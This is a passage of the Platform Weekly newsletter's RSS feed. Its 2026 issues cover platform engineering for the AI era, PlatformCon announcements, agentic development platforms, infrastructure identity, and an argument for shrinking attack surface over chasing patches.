one.\n\n\nLeadership alignment: None of these can be solved by engineering teams working independently. They require executive mandate. Consistency across the org determines whether agents run at scale, or whether you've just rebuilt tool sprawl with a language model on top.\nGovernance enables velocity. It doesn't restrict it. That's the operating principle you need to keep coming back to, and what distinguishes L3 organizations from the rest.\nThere is a reason we keep banging on about it. We're talking about operationalizing AI agents. It's the governance and cultural questions that are the most important. If you haven't read our mini-white paper on this, then that's a great place to start.\nWe're not in the territory now where nobody's sure how to proceed to get value.\nWe're in the territory of people getting value and people falling behind.\n \n \nHighlight of the week\n\n\nHow to build a network your future self won't hate\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n \n\u00ba]]>\n  \n  Tue, 09 Jun 2026 00:00:00 GMT\n\n\n  You can't patch your way out of this anymore\n  https://platformweekly.com/issues/patching-wont-save-you\n  https://platformweekly.com/issues/patching-wont-save-you\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sweep of the platform engineering perimeter. Every week, we round up the sharpest thinking in the community and hand you the one story you can't afford to ignore.\nPlus\u2026 we\u2019re just two weeks away from PlatformCon! It\u2019s your last chance to get tickets and say hi in London or New York!\nYou can't patch your way out of this anymore\nI've been having the same conversation on repeat lately, with a bunch of you in the community. The patching treadmill is totally f*cked. We spent the last year just trying to run faster to outpace it - and I think it\u2019s time to stop. And I don\u2019t mean give up.\nFor thirty years the playbook was find the CVE, ship the fix, apply the patch, repeat. That made sense when vulnerabilities came in the hundreds and attackers took weeks to move. That world is GONE.\n\n\n48,185 CVEs were published in 2025, up 163% from 2020. FIRST's median forecast for 2026 is nearly 60,000, and some people are suggesting 100,000+.\n\n\nThe Linux kernel alone accounted for 5,530 CVEs last year, a pace of 8 to 9 new ones every single day.\n\n\nIn 2020, attackers needed 30 days on average to weaponize a new CVE. By 2025 the median was under 5 days.\n\n\n28% of vulnerabilities in 2025 were exploited on disclosure day or before a patch even existed. For that group the average time-to-exploit was negative one day. The fix didn't exist yet.\n\n\nMeanwhile organizations take 88 days on average to remediate a critical vuln (not to mention NIST has stopped bothering categorizing all of them\u2026) You're on your own to figure out severity.\nThose numbers come from Justin Garrison, Field CTO at Sidero Labs, in a piece called Patching Won't Save You. Oof. It's a banger, and it reframes the whole problem.\nThis is a fundamental platform engineering problem now NOT a patching problem. If attackers exploit in hours and no change advisory board on earth runs at machine speed, then a faster pipeline was never going to be the answer. The answer is to have less to patch. Sounds easy doesn\u2019t it?;)\nThat's the game. Shrink the surface. If a package isn't there, the CVE against it simply doesn't apply to you. Justin has another great article on his favourite example Copy Fail, a 732-byte script that claimed to root every Linux distro shipped since 2017.\nTalos Linux, which is an open source Linux OS for K8s, which Justin and the folks at Sidero Labs have been maintaining, is basically immune to this. No shell, no package manager, not even a Python interpreter, most of the exploit had nothing to grab onto. Whole categories of risk just come off the board.\nThat is how you need to think about these security problems going forward. If you aren't thinking secure by default, then to be honest, you're not thinking at all.\nSo here's what I want you to do this week - stop asking how fast you can patch, and start asking how much you can delete. Read Justin's full breakdown, take a look at Talos Linux, then go count the packages in your base image you've never once called.\nQuick bites\nHighlight of the week\n\n\n5 pillars your platform needs in 2026 and beyond\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.]]>\n  \n  Fri, 12 Jun 2026 00:00:00 GMT\n\n\n  Your platform won the argument. Now it has to evolve\n  https://platformweekly.com/issues/introducing-platform-engineering-2-0\n  https://platformweekly.com/issues/introducing-platform-engineering-2-0\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly knead of platform engineering dough. Every week, we let the best of the community rise to the top and bring it to you warm.\nPlus\u2026 PlatformCon CTA\nYour platform won the argument. Now it has to evolve.\nI keep having the same conversation. On panels, in Slack, at dinner after talks. And I know already it will be the #1 topic next week at PlatformCon 2026. Platform engineering has basically won. 90% of organizations have adopted it, 76% run a dedicated platform team, and nobody serious is still arguing about whether to build an internal platform.\nAnd yet. The platform that won that argument was built for a different era. Overly, developer focused, human speed, and like last week approaching problems by being faster or better without recognising we\u2019re in a new paradigm.\nThat gap is exactly what our own Sam Barlien dug into in a new whitepaper on Platform Engineering 2.0: An evolution for the AI era, co-authored with Pankaj Gupta over at Broadcom. It is the clearest map I've seen of how platforms have to stretch for the AI era. They break down how you should be thinking about your IDP. An evolution, not a reset. Your existing platform is the substrate for what comes next, not the casualty of it.\nSam lays the stretch out across five shifts:\n\n\nAI workloads become first-class citizens. GPUs, model serving, and MCP gateways flowing through the same self-service path as everything else.\n\n\nAgents arrive as a brand new user. The first non-human persona in over a decade, needing scoped identity, guardrails, and audit logging.\n\n\nCost turns into a platform signal. FinOps moves out of the monthly rear-view report and into the moment of provisioning.\n\n\nSecurity shifts down into the substrate. Not piled onto developers, baked into the platform so every path is a secure path and AI security gaps addressed.\n\n\nArchitecture gets composable. Repavable, API-first building blocks instead of the tired build-versus-buy standoff.\nNone of this throws away what you already built. Platform as Product, golden paths, self-service IDPs, they are all a fundamental part of this. The discipline doesn't restart at each phase. It accumulates. So while other fields spend this year asking if they still matter in an agentic world, platform engineers are staring at the single biggest expansion of mandate the discipline has ever seen.\nThe team that masters infrastructure for the AI era is the team that masters the AI era, and that starts with treating infrastructure as a first-class platform concern rather than the thing under the floorboards\nThere is no truly better primer before PlatformCon next week. So read this. And be ready to discuss it at the world\u2019s biggest platform engineering conference in just a few days.\nQuick bites\nHighlight of the week\n\n\n5 pillars your platform needs in 2026 and beyond\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 19 Jun 2026 00:00:00 GMT\n\n\n  Everything you missed at PlatformCon this week\n  https://platformweekly.com/issues/everything-you-missed-at-platformcon\n  https://platformweekly.com/issues/everything-you-missed-at-platformcon\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly toast of platform engineering champagne. Every week, we bring you the best of what the community is reading, watching, and building. This week, we are talking about the last five days. PlatformCon 2026. The largest platform engineering week in history.\nEverything you missed at PlatformCon this week\nThis was the biggest week platform engineering has ever had. Around 1,800 of you were with us in person across Live Day London and Live Day New York, and almost 50,000 more joined online, watching talks, getting hands dirty in workshops, and celebrating the discipline together\ud83e\udd79\nThe line up of speakers was incredible. My friends Kaspar von Gr\u00fcnberg, Ajay Chankramath, Mallory Haigh, joined by community and industry titans Gregor Hohpe, Nicki Watt, Kelsey Hightower, Patrick Debois, Caroline Wong, Kief Morris, Jay Moran and so many more. The talks spanned everything that matters to us right now. The agentic future, the infrastructure agents actually run on, how to actually build, run and succeed with agents and platforms and ofc the classic deep dives into sovereignty, security, supply chain, Kubernetes and GitOps, and mastering product thinking. If platform engineering is becoming the operating model for the modern enterprise, and we know it is, this was the week the whole community pushed us 100 steps forward.\nThere was a LOT announced this week, because there is a LOT happening.\n\n\nThinking in Platforms: the new book from Kaspar and me, lands August 18. It distils ten years of learnings on platform engineering as the operating model for work in the AI era. We break down a new way to understand platforms as production systems for knowledge work, an abstract model for reasoning about and architecting golden paths and platforms, and a playbook for moving from first initiatives to production readiness and scale with a focus beyond the world of just IT.\n\n\nAgenticCon: a brand new one-day event all about agents, AI, and agentic infrastructure, arrives February 2027, co-located with PlatformCon San Francisco. Early access now! A new format for a new era.\n\n\nPlatformCon World Tour: We\u2019re going global. The Live Day format isn\u2019t just heading to Paris, Sydney, and S\u00e3o Paulo, but to San Francisco too! Couldn't make it in person this week? Now you can, from all over the world!\n\n\nTwo new courses on Platform Engineering University: One on the move from IDP to ADP, and a deep dive on agent infrastructure itself!\nAnd the big one that underpins all of this. We broke down the reference architecture for agentic development platforms, the ADP. It builds on your existing IDP, treats agents as users and interfaces, and splits into three layers: tooling, path specifications, and a new breed of agent infrastructure. The thesis? Without platforms, there is no productivity gain from agents. That statement is what sets everything that PlatformCon was about this week, and what the entire community is working off of.\nWhat's still coming? A lot. The virtual program ran all five days, with 300+ hours of talks and virtual workshops dropping batch by batch across learning paths on the agentic future, sovereignty, security, Kubernetes, and more. You won't get through it in one sitting, nobody does, we all have 20 tabs open!\nWe are at an inflection point that will define the future of not just our industry, but basically all industries - and platform engineers sit at the very heart of that change.The challenge and the opportunity literally couldn't be bigger. PlatformCon encapsulated that perfectly. Now let's embrace it together!\nQuick bites\nHighlight of the week\n\n\nHow can a Context Lake cut down up to 80% of your token usage?\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.]]>\n  \n  Fri, 26 Jun 2026 00:00:00 GMT\n\n\n  The ADP is coming. Your IDP better be ready\n  https://platformweekly.com/issues/the-adp-is-coming-your-idp-better-be-ready\n  https://platformweekly.com/issues/the-adp-is-coming-your-idp-better-be-ready\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly peek behind the platform engineering curtain. Every week, we dive into best practices, news, lessons, and updates from the platform engineering community. This is a guest newsletter by my friend Ajay Chankramath who leads at Platform Engineering Consulting, the advisory and consulting wing of the Platform Engineering community!\nBut first\u2026 I WROTE A BOOK!\nAt its core the book is about one idea. Platform engineering is becoming the operating model for knowledge work in the AI era. The book is a conceptual model and a practical playbook for redesigning how organizations work in the AI era, across software, marketing, finance, legal, any kind of knowledge work.\nPreorder your copy now!\nThe ADP is coming. Your IDP better be ready\nPlatformCon 2026 just wrapped last week virtually as well as in London and New York. One word dominated the agenda - agentic!\nGregor Hohpe talked about platforms defying the laws of IT physics in London. Patrick Debois called context the new code. Kief Morris challenged us to put humans on the loop, not in it.  By all accounts, Bruno Passos and Mansi Mittal\u2019s session on their GenAI platform journey at Booking.com was a standout.\nIn New York, Kelsey Hightower made listeners take a step back from the AI euphoria in his talk on Zero Token Architecture. Jay Moran from Fiserv showed what golden path scaling actually looks like at enterprise scale.\nKaspar and Luca introduced the idea of Agentic Development Platforms (ADPs) in their keynote both days. I took both main stages to talk about architecting Agentic Development Platforms, with Mallory joining me in New York. Think of ADP as an extension of an IDP, but the paths serve agents too in addition to humans (not instead of), so that it can run without direct human intervention when needed. I care about this because every week we talk to organizations being pushed to support agentic workflows without a solid IDP foundation underneath. \nPlatformCon was not all about AI. 55% of our talks focused exclusively on building the IDP/foundations right and only about 45% had AI focus. Still significant change in direction, but the focus continued to be IDP. For good reason.\nI talked to hundreds (over 300+!) of you across the week through our executive breakfast gatherings, therapy sessions, and the platform clinic as well as my book signings. Teams hear \u201cADP\u201d and immediately jump to agents, LLMs, orchestration layers. They picture autonomous systems dispatching work, validating changes, remediating incidents without humans in the loop. The destination is absolutely right, but you can\u2019t build an Agentic Developer Platform on a broken Internal Developer Platform.\nAn IDP standardizes paths for humans. An ADP makes those same paths executable by agents. If the human paths are inconsistent, undocumented, or held together by tribal knowledge, agents won\u2019t fix that. They\u2019ll amplify the mess. This is where the \u201cpaths\u201d matter. They\u2019re the connective tissue between your IDP today and your ADP tomorrow. \nMost enterprises I talk to are in their early stages of building the platforms to support AI workloads. Closing that gap is the work that matters right now, and it starts with rearchitecting your IDP into an ADP.\nWe also ran Platform Clinic for the Age of AI sessions at both live days in addition to 1:1 advisory conversations with engineering leaders. Platform Clinic was where several of you came together to talk about the key challenges that your teams are encountering, but instead of one speaker telling you what their perspective is, this was an opportunity to work in a small group to come up with solutions yourself. We had about 5 prompts we discussed around platform value, need to build the foundations right, agentic identity, golden paths and when to choose an agent.  If you missed them and want a similar read of where your platform stands, that\u2019s exactly what we do at Platform Engineering Consulting, and I\u2019d love to talk with you about it.\nAI workloads require platform engineering. But only if the platform is actually ready. To quote Kaspar and Luca from their new book, Thinking in Platforms, \u201cAI expands what is possible, but platforms define what is usable\u201d.\nQuick bites\nHighlight of the week\n\n\nHow can a Context Lake cut down up to 80% of your token usage?\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 03 Jul 2026 00:00:00 GMT\n\n\n  Platform engineering, AI &... tequila. What more do you need?\n  https://platformweekly.com/issues/platform-engineering-ai-tequila\n  https://platformweekly.com/issues/platform-engineering-ai-tequila\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly shot of platform engineering tequila. Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\nP.S.\n\n\nIn San Francisco? Come join our meetup next week on how to survive and keep up in an AI first world\n\nWe\u2019ve launched an Instagram for House of Kube! We\u2019ll be posting all the awesome pictures, videos and behind the scenes GOLD there.\nIt\u2019s party time.\nNext week the team and I will be at KubeCon for a workshop, a roundtable, an exec dinner, a Meetup and of course\u2026 the one event that stands above all others in my heart, HOUSE OF KUBE!\nI remember attending KubeCon Valencia and going from corporate event to corporate event looking for a fun way to not just network or learn, but to actually hang out with folks and have some fun.\nI couldn\u2019t find a single event in 2022 that was really about letting loose. So we created one.\nHouse of Kube has been the (in)famous and (un)official opening party of KubeCon ever since. Literally thousands of us have come together to dance, sing karaoke, drink and have a great time (And have some pretty intense engineering debates and networking over beers too). This is the event that combines all of it.\nThere is a reason it's taken over Vegas for Re:Invent and soon Next as well.\nOn the Community events page, there is of course opportunity for awesome roundtable discussions, Meetups and deep workshops where you can better learn about and discuss platform engineering\u2026 but there is no event in cloud-native like House of Kube.\nIf you\u2019ve never been - House of Kube Amsterdam is a perfect place to start. And if you have, I can\u2019t wait to see you again;)\nLet\u2019s rock this!\nQuick bites\nHighlight of the week:\n\n\nNVIDIA has introduced NeMoClaw at GTC, and our friends at Vultr are one of the integrated partners. So they\u2019re offering folks in the community a 7-day trial to play around: https://discover.vultr.com/nemoclaw-offer\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!\n ]]>\n  \n  Fri, 20 Mar 2026 00:00:00 GMT\n\n\n  3 things you need to read this easter\n  https://platformweekly.com/issues/3-things-you-need-to-read-this-easter\n  https://platformweekly.com/issues/3-things-you-need-to-read-this-easter\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly hunt for the platform engineering easter egg Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\n3 things you need to read this easter\nPeople can debate whether we are in a golden age of technology, but one thing is certain\u2026 the community is in a golden age of research. Thanks to survey data, events, and research interviews with the 270,000 of you - Weave Intelligence and the Platform Engineering Community has been able to publish some awesome research over the last few months.\nCommunity ambassadors write some of the best blogs I\u2019ve read, and every few weeks a new report on the incredible frontier of AI and platform engineering is published. Whether you\u2019ve got a long weekend, or don\u2019t - one thing is universal. You need to read this research.\nThe great unlock: How platform engineering creates AI-native enterprises. This report breaks down how platform engineering is the missing piece that helps businesses move from scattered AI pilots to real, company-wide AI systems. It covers everything from the architecture (in mega detail) and governance models needed, to a real-world example of how going \"AI-native\" improved customer experiences and drove new revenue for a hotel use case.\nVulnerability management for platform engineers. This report makes one of the best arguments i\u2019ve read that instead of pushing security onto developers (\"shift left\ud83e\udd2e\"), teams should bake it directly into the platform itself by shifting down, so that secure behavior just happens automatically through hardened images, policy guardrails, and automated fixes. It walks through a practical seven-step roadmap and the key capabilities needed to get there, ultimately making security a background feature rather than a constant drain on our productivity and our souls.\nOperationalizing AI coding agents in regulated industries. This report makes the case that AI coding agents, while insanely powerful, introduce serious risks in regulated industries like finance and government that traditional governance approaches weren't designed to handle. It lays out a practical path for operationalizing AI agents safely, keeping humans involved where it matters while letting agents do more within tightly controlled guardrails. Basically? It\u2019s the toolkit you need to actually operationalizing agents without blowing everything up.\nTogether these reports total almost 60 pages, and 10,000+ words of platform engineering and AI best practice putting together information at the cutting edge of the jagged frontier of AI (with much more soon to come).\nThe core theme across all? To succeed with AI, you need platform engineering. And the governance, standardisation, and automation that it brings.\nGet reading! There is a lot more to come.\nQuick bites\nHighlight of the week:\n\n\nPlatform Engineering workshop in NYC: Turning guardrails into deterministic infra fixes\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!\n ]]>\n  \n  Mon, 04 May 2026 00:00:00 GMT\n\n\n  Infrastructure Identity for platform engineers\n  https://platformweekly.com/issues/infrastructure-identity-for-platform-engineers\n  https://platformweekly.com/issues/infrastructure-identity-for-platform-engineers\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly look in the platform engineering mirror. Every week, we dive into best practices, news, lessons, and updates from the platform engineering community.\nPlus\u2026 House of Kube hits Google Next for the first time ever! Don\u2019t miss it\nInfrastructure Identity for Platform Engineers\nThe weather has been perfect in Barcelona for the last week. Perfect for sitting in my room, taking our latest course on Platform Engineering University - Infrastructure Identity for Platform Engineers.\nThe value prop is pretty simple. If you care about security, the experience of everyone and everything interacting with your infra, humans, services, or just not having your environment blow up\u2026 this is a must.\nSo what is Infrastructure Identity? It's basically the practice of assigning cryptographically verified identities to every entity (Devs, AI, angry interns, services, and all kinds of our other machine friends) in your environment and using those identities to control access, rather than relying on passwords, static API keys, or VPN-based perimeters.\nIn the last 10 years, we\u2019ve massively scaled our infrastructure. And AI makes this even harder. Autoscaling clusters, microservices, CI/CD pipelines, AI workloads, and more. While at the same time, our access controls are stuck in the 1990s\u2026 It\u2019s insane. Shared SSH keys, tokens that live forever, manual provisioning, etc., etc. The kind of setup where a three-year-old API key is silently sitting in your environment, basically itching for the day it gets the chance to fulfil it\u2019s dream and blow everything up.\nIn the agentic era, it's not an outlandish argument that every static secret is a live vulnerability. And platform engineers, not just security teams, are the ones who need to fix it by treating identity as a platform-level capability alongside policy and state, shifting security load down into the platform, and making secure-by-design the path of least resistance.\nOur machine identities are getting smarter, faster, more capable, but most of all, there are just plain MORE of them. 100x more, and that number will keep growing. Agents multiply whatever already exists. If your baseline is shared keys and static secrets, you don't get agent-powered productivity, you get 100x exposure to the same failure modes. You cannot enable a future like that on top of access control that's locked in the past.\nFour modules. All bangers. Go check it out and tell me what you think.\nQuick bites\nHighlight of the week:\n\n\nAt Google Next? We\u2019re doing two awesome roundtables! Don\u2019t miss them\ud83d\udc47\n\n\nPlatform engineering roundtable: How AI is breaking software delivery\n\nAI security by design: Platform Engineering roundtable @ Google Cloud Next\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community YouTube channel!\n ]]>\n  \n  Fri, 17 Apr 2026 00:00:00 GMT\n\n\n  Everyone is becoming a platform engineer\n  https://platformweekly.com/issues/everyone-is-becoming-a-platform-engineer\n  https://platformweekly.com/issues/everyone-is-becoming-a-platform-engineer\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly part of the platform engineering backcurtain. Every week, we dive into best practices, news, lessons, and updates from the platform engineering community. This is a guest newsletter by Lou Bichard who works at Ona and runs background-agents.com, a community and landscape for teams navigating the background agent ecosystem.\nPlus\u2026 answer the State of AI in Platform Engineering survey!\nEveryone is becoming a platform engineer\nThe software factory is here, now what? \nBefore I tell you a story about software factories, I want to take you back to 2023. Specifically two weeks post GPT-4. But, why? Because software factories have been a long-running obsession of mine and I\u2019d like to think the following prophecy came true. In fact it\u2019s a good summary of the problems the entire industry is now wrestling with. Back then, people thought I was crazy. By the end of today\u2019s newsletter, I\u2019ll make another prophecy, but this time for the future of platform engineers, so stick with me. \nEver since this day I\u2019ve been imagining a world where I sit  \u2018on the loop\u2019 designing the feedback system while agents ship. In a way the mad fantasies of a platform engineer, designing the perfect system that self-heals, auto-conforms to standards. The perfect \u2018platform\u2019.\nIn January, I built it. \nAgents raised issues, PRs and reviewed their own code. To push the idea to the extreme, I chose the hardest product I could think of: a bank. And so \u2018the bank that builds itself\u2019 was born. A few days later the bank was off, raising its own PRs, and building itself. \nBut, why do I bring this up? Because, a few months after, it seems the folks at OpenAI had been doing something very similar. They called it harness engineering. The idea was the same: don\u2019t write a single line of code. Instead, design the system agents run on. If the agents go off course, blame the system, add scripts, tests, and try again. Then repeat ad infinitum. \nBut, as a former platform engineer, one particular line stood out to me: \u201cThis is the kind of architecture you usually postpone until you have hundreds of engineers. With coding agents, it's an early prerequisite: the constraints are what allows speed without decay or architectural drift.\u201d\nFrom my own experiments and reading what OpenAI had done it\u2019s clear to me where the puck is heading: every engineer is now a platform engineer. \nLet me explain. For years, when asked about when a company should invest in platform engineering, I\u2019ve recommended Hazel Weakly's fantastic post so you want to hire for developer tooling. In the article, she maps engineering headcount to infrastructure maturity: \n\n\nDocumentation becomes necessary at 15 engineers\n\n\nA dedicated infra specialist makes sense at 50\n\nA nascent internal platform at 150\n\nFully independent specialist teams at 500\n\nEmbedded expertise across the entire org at 1500.\nWith agents? This math no longer works. Not only do agents allow individuals to ship at the speed of multiples, but agents follow standards far more obediently than a department of engineers ever did. And whilst at this point someone is bound to say \u201cYeah, right. But have you ever used an LLM? They frequently ignore what you ask of them\u201d.\nAnd to that I would agree, agents commonly skip steps as they\u2019re eager to please. But the whole premise of harness engineering is wrapping these non-deterministic agents with backpressure and scripts to ensure agent conforms, that\u2019s the point. Agent wrangling. \nSo where does this leave us? I believe history is about to repeat itself. We\u2019re about to go back 10 or 15 years to when platform engineering (in its modern form) started to take shape. All of the ideas we\u2019ve crafted about golden paths, infra as code, platform as a product are all about to be re-invented from first principles by engineers who weren\u2019t along for the ride the first time. \nSo here\u2019s my prophecy: for many organisations: things will get worse, before they get better. Organisations will have engineers re-build internal tools because they can, proliferate standards because their agents had no idea a standard exists, and sprawl will multiply. Just as they felt the pain 10 years ago and turned to platform engineering, the same will happen now. Except we\u2019ll see organizations far smaller than ever before re-learning the lessons of platform engineering.\nAll this considered, what\u2019s the antidote? It\u2019s empathy, as it always was. The best insights for platform teams I have always said, have come from \u2018sitting with your developers\u2019 and walking a mile in their shoes, feeling their pain and solving for it. Now, we need to \u2018sit\u2019 with our agents. The only way to truly understand how to manage, and govern a software factory is to build one yourself. Because whether your company is actively building a software factory or not, that\u2019s where this is all heading. Take a project and run your own harness engineering experiment. Fight the urge to write a single line of code. Focus on standards, scripts and backpressure. In many ways, it\u2019s exactly the same, but in so many more ways, it\u2019s entirely different. \nThese past two weeks, my colleague Zach has been re-building a software factory in public for an app called memo. Every line has been written by agents. Working in the background, continually. Zach is the platform engineer, building the harness. We live-streamed every day for the last 2 weeks and published it all on: software-factory.dev. But if streaming is not your thing, I also wrote background-agents.com, which has info from companies like Stripe, Ramp and others building with agents in the background, orchestrated by events and triggers. We\u2019re now even running a summit to tell these stories. And you should join us. \nQuick bites\nHighlight of the week:\n\n\nThe journey to production AI: A practical guide for platform engineers and SREs\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community YouTube channel!\n ]]>\n  \n  Fri, 24 Apr 2026 00:00:00 GMT\n\n\n  Where are you on the agentic ladder?\n  https://platformweekly.com/issues/four-levels-of-agentic-software-development\n  https://platformweekly.com/issues/four-levels-of-agentic-software-development\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly knead of platform engineering dough. Every week, we dive into another corner of the platform engineering universe, from industry insights and community news to practical lessons and live demos.\nPlus\u2026 our friends at Tailscale are organising their own awesome conference - TailscaleUp! They\u2019ll be in San Francisco on August 26, 2026 and are giving the community discounts. You can save $100 off TailscaleUp registration now though May 31st and use PE10 for an additional 10% off your ticket.\nWhere are you on the agentic ladder?\nI've been heads-down for months with my AI & platform co-conspirators Kaspar, Mallory Haigh, and Ajay Chankramath on a piece of research I'm honestly buzzing to share.\nThe four levels of agentic software development in the enterprise is our attempt to give engineering leaders a real map of where they are, where they're going, and what the platform underneath them needs to look like to actually get there. Mamma mia, surprise surprise! The conversations we're having every single day all point to the same thing. It's not the models holding teams back. It\u2019s not the tools (shocker). It's the platform.\nAs your AI capability matures, and expands, your platform needs to mature and expand with it. If your AI usage is outpacing your platform. You\u2019re fu- in trouble. We\u2019ve known this for a while now. Last year we published data showing that 95% of platform teams were failing with AI, and the 5% were using platforms. Exciting stuff at the time. But that exciting stuff at the time is old news now. Now we need to go deep on exactly what that means for the highest performing organizations today, and what can be done for you to replicate.\nHere is the ladder of maturity that we\u2019re talking about. Each rung is defined by how the human role evolves as agents take over more of the value stream:\n\n\nLevel 1: Human in the loop. Agents suggest & humans still approve every line. Gains are real but linear. Review bandwidth is the cap.\n\n\nLevel 2: Human on the loop. Agents become parallel participants. Humans dispatch the work, and validation becomes an industrial feedback loop rather than a single gate.\n\n\nLevel 3: Humans as orchestrators. The platform runs as a background execution layer. Agents respond to system signals on their own. Review is exception-based.\n\n\nLevel 4: Fully autonomous (outlook). The production system becomes partially self-adjusting. Agents initiate, implement, validate, and promote within guardrails you've defined.\nIt\u2019s the rungs of this ladder that drive the incredible ROI that teams are seeing with AI. And it\u2019s only possible to successfully climb this ladder if you\u2019ve got the platform maturity to support it.\nAnd here's the further punchline. None of these rungs are obtainable without what we're calling an Agentic Development Platform (ADP). Not that the Internal Developer Platform that won the human-developer era is disappearing, but it is evolving. Probabilistic systems (models, agents) need a deterministic fabric (policies, ephemeral envs, RBAC, observability) wrapped around them, or the whole thing falls over. That's why most failed AI initiatives we analyzed fell apart.\nThere is far too much in these 40 pages to summarise here. So read it, find your rung, and tell me what's pinning you there. If you read one whitepaper this month, make it this one.\nQuick bites\nHighlight of the week:\n\n\nHow to prepare for the agents: Platform engineering executive roundtable\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 15 May 2026 00:00:00 GMT\n\n\n  That new tool isn\u2019t going to solve your problem\n  https://platformweekly.com/issues/that-new-tool-isnt-going-to-solve-your-problem\n  https://platformweekly.com/issues/that-new-tool-isnt-going-to-solve-your-problem\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly shot of platform engineering espresso. Every week, we dive into another corner of the platform engineering universe, from industry insights and community news to practical lessons and live demos.\nPlus\u2026 contribute to the 2026 Observability Platform Engineering Market Guide and get exclusive early access to results!\nThat new tool isn\u2019t going to solve your problem\nIt\u2019s been an active couple months for our community roundtables, or platform engineering group therapy as I like to call them. With 2 last week in Vegas at Google Next. One thing stuck massively in my mind. We are obsessed with solving all problems with the same kind of solutions.As engineers always do, the conversation so often focused on what tool or new stack teams needed to migrate to to remedy their problem\u2026 but that just ain\u2019t it.We are technical people. So we want to find technical solutions. I get it. But new tooling is very rarely the answer to your problem. And the numbers can be stark. \n\n\n85% of enterprises migrated tooling; only 25% saw the expected ROI.\n\n$1.75M average cost, 18% over budget, 37% delivered no value.\n\n68% said productivity dropped; 70% saw developer burnout.\n\n75% found security harder post-new tool.\nThese are taken from the DevOps Migration Index and shared in last week's community webinar by Sylvain Deyris where he broke down some of the report's data and how he\u2019s been approaching this problem.At the same time, the report shows that 92% of teams that integrated their existing stack got better outcomes than those who ripped and replaced.  So why do we keep dreaming of solving our problems with a shiny new tool?Because not only do technical people yearn for technical solutions - folks also yearn for the easy way out. We want that one tool we can buy, that one creative script that will solve the problem. But that\u2019s not how things work. And in the age of AI - it\u2019s only going to get worse.We need the socio - in the sociotechnical, the cultural and system changes, more than ever. When you look at a problem like no one knowing what\u2019s in their AI-generated code, the solution isn't just the best new AI code review tool. It\u2019s frank conversations on ownership.Especially as we face the current AI whackamole, or using new AI tooling to solve problems created by the previous AI tooling. If you\u2019re never improving the cultural foundation as you go, the core problems are never going to go away.I want you to think about a problem you\u2019re trying to solve and the solutions you\u2019re toying with. Are all the solutions technical? Then you might need to do a bit more thinking.\nQuick bites\nHighlight of the week:\n\n\nRoundtable: Citizen developers in the enterprise on the rise: What platform teams need to know\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community YouTube channel!\n ]]>\n  \n  Fri, 01 May 2026 00:00:00 GMT\n\n\n  How the hell to build an agentic development platform?\n  https://platformweekly.com/issues/confused-by-ai-heres-your-path\n  https://platformweekly.com/issues/confused-by-ai-heres-your-path\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly stack of platform engineering pancakes. Every week, we bring you the best of what the community is reading, watching, and building.\nPlus\u2026 \n\n\nPlatform Weekly moves to Substack! I am very excited to share that we are (finally) moving Platform Weekly over to Substack starting over the next few weeks:)\n\nAND reminder that my friends at Tailscale are organizing an awesome conference - TailscaleUp! There are still some tickets available, so take a look. They\u2019ll be in San Francisco on August 26, 2026! It\u2019s gonna be a banger. They\u2019re going to be dissecting and sharing the lessons from their 20k customers through a bunch of great talks and workshops. Few things more important than networking and security at the moment. And there is prob no better place to be for it;)\n\"How the hell am I gonna build an ADP?\"\nI\u2019ve been talking about Agentic Development Platforms (ADPs) nonstop the last month. You\u2019ve probably noticed. ADPs are the platform that lets your engineers and AI agents build software together, safely, with guardrails. We covered them extensively at PlatformCon, in our review newsletter, and in Ajay\u2019s guest newsletter last week. The response from everyone has been incredible. I\u2019ve received so many replies. But there is one sliver of doubt that keeps getting slivered back to me - \"I don't even have a good IDP yet, or an effective AI initiative in my org. How the hell am I gonna do this?\"\nFair question. If the PlatformCon deluge settled anything, it's that the ADP is where our discipline is heading. But recognizing the future and knowing what to do about it on Monday morning are two VERY different things. Some of the industry seems to be sprinting, and the other half is still trying to get one golden path adopted.\nSo how do you close this gap? You close it the way our community has always closed gaps\u2026 by learning the discipline properly, step by step, from the foundations up.\nThat is how you secure your place in the AI future. And ride this insane wave.\nRemember - an ADP is your IDP evolved, not replaced. Three layers, the tooling you already run, the path definitions that humans and agents both invoke, and a new agent infrastructure substrate underneath. If you can build and reason about those layers, you aren't the person threatened by this new paradigm, you\u2019re the person who makes it work.\nThat\u2019s why, that is exactly the journey the new AI learning path on Platform Engineering University walks you through, taught by Mallory Haigh, who some of you caught on the New York main stage at PlatformCon. And it is built for the \"I'm not there yet\" reality, because it starts from wherever you actually are:\n\n\nIntro to Agentic Development Platforms 